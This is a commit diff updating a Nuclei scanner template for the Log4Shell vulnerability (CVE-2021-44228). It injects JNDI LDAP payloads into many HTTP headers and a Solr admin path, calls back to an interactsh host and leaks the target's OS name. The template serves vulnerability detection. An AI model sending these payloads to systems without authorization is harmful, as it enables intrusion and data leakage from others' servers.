Update CVE-2021-44228.yaml

cves/2021/CVE-2021-44228.yaml

@@ -23,31 +23,29 @@ info:
 requests:
   - raw:
       - |
-        GET /?x=${jndi:ldap://${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
+        GET /solr/admin/cores?action=${jndi:ldap://${sys:os.name}.uri.{{interactsh-url}}/a} HTTP/1.1
         Host: {{Hostname}}
-
       - |
         GET / HTTP/1.1
         Host: {{Hostname}}
-        Accept: ${jndi:ldap://${hostName}.accept.{{interactsh-url}}}
-        Accept-Encoding: ${jndi:ldap://${hostName}.acceptencoding.{{interactsh-url}}}
-        Accept-Language: ${jndi:ldap://${hostName}.acceptlanguage.{{interactsh-url}}}
-        Access-Control-Request-Headers: ${jndi:ldap://${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
-        Access-Control-Request-Method: ${jndi:ldap://${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
-        Authentication: Basic ${jndi:ldap://${hostName}.authenticationbasic.{{interactsh-url}}}
-        Authentication: Bearer ${jndi:ldap://${hostName}.authenticationbearer.{{interactsh-url}}}
-        Cookie: ${jndi:ldap://${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${hostName}.cookievalue.{{interactsh-url}}}
-        Location: ${jndi:ldap://${hostName}.location.{{interactsh-url}}}
-        Origin: ${jndi:ldap://${hostName}.origin.{{interactsh-url}}}
-        Referer: ${jndi:ldap://${hostName}.referer.{{interactsh-url}}}
-        Upgrade-Insecure-Requests: ${jndi:ldap://${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
-        User-Agent: ${jndi:ldap://${hostName}.useragent.{{interactsh-url}}}
-        X-Api-Version: ${jndi:ldap://${hostName}.xapiversion.{{interactsh-url}}}
-        X-CSRF-Token: ${jndi:ldap://${hostName}.xcsrftoken.{{interactsh-url}}}
-        X-Druid-Comment: ${jndi:ldap://${hostName}.xdruidcomment.{{interactsh-url}}}
-        X-Forwarded-For: ${jndi:ldap://${hostName}.xforwardedfor.{{interactsh-url}}}
-        X-Origin: ${jndi:ldap://${hostName}.xorigin.{{interactsh-url}}}
-
+        Accept: ${jndi:ldap://${sys:os.name}.accept.{{interactsh-url}}}
+        Accept-Encoding: ${jndi:ldap://${sys:os.name}.acceptencoding.{{interactsh-url}}}
+        Accept-Language: ${jndi:ldap://${sys:os.name}.acceptlanguage.{{interactsh-url}}}
+        Access-Control-Request-Headers: ${jndi:ldap://${sys:os.name}.accesscontrolrequestheaders.{{interactsh-url}}}
+        Access-Control-Request-Method: ${jndi:ldap://${sys:os.name}.accesscontrolrequestmethod.{{interactsh-url}}}
+        Authentication: Basic ${jndi:ldap://${sys:os.name}.authenticationbasic.{{interactsh-url}}}
+        Authentication: Bearer ${jndi:ldap://${sys:os.name}.authenticationbearer.{{interactsh-url}}}
+        Cookie: ${jndi:ldap://${sys:os.name}.cookiename.{{interactsh-url}}}=${jndi:ldap://${sys:os.name}.cookievalue.{{interactsh-url}}}
+        Location: ${jndi:ldap://${sys:os.name}.location.{{interactsh-url}}}
+        Origin: ${jndi:ldap://${sys:os.name}.origin.{{interactsh-url}}}
+        Referer: ${jndi:ldap://${sys:os.name}.referer.{{interactsh-url}}}
+        Upgrade-Insecure-Requests: ${jndi:ldap://${sys:os.name}.upgradeinsecurerequests.{{interactsh-url}}}
+        User-Agent: ${jndi:ldap://${sys:os.name}.useragent.{{interactsh-url}}}
+        X-Api-Version: ${jndi:ldap://${sys:os.name}.xapiversion.{{interactsh-url}}}
+        X-CSRF-Token: ${jndi:ldap://${sys:os.name}.xcsrftoken.{{interactsh-url}}}
+        X-Druid-Comment: ${jndi:ldap://${sys:os.name}.xdruidcomment.{{interactsh-url}}}
+        X-Forwarded-For: ${jndi:ldap://${sys:os.name}.xforwardedfor.{{interactsh-url}}}
+        X-Origin: ${jndi:ldap://${sys:os.name}.xorigin.{{interactsh-url}}}
     stop-at-first-match: true
     matchers-condition: and
     matchers:
@@ -59,7 +57,7 @@ requests:
       - type: regex
         part: interactsh_request
         regex:
-          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
+          - '((W|w)(I|i)(N|n)(D|d)(O|o)(W|w)(S|s))|((L|l)(I|i)(N|n)(U|u)(X|x))\.'   # windows or linux
 
     extractors:
       - type: kval
@@ -76,6 +74,4 @@ requests:
         part: interactsh_request
         group: 1
         regex:
-          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-
-# Enhanced by mp on 2022/02/28
+          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${sys:os.name} in output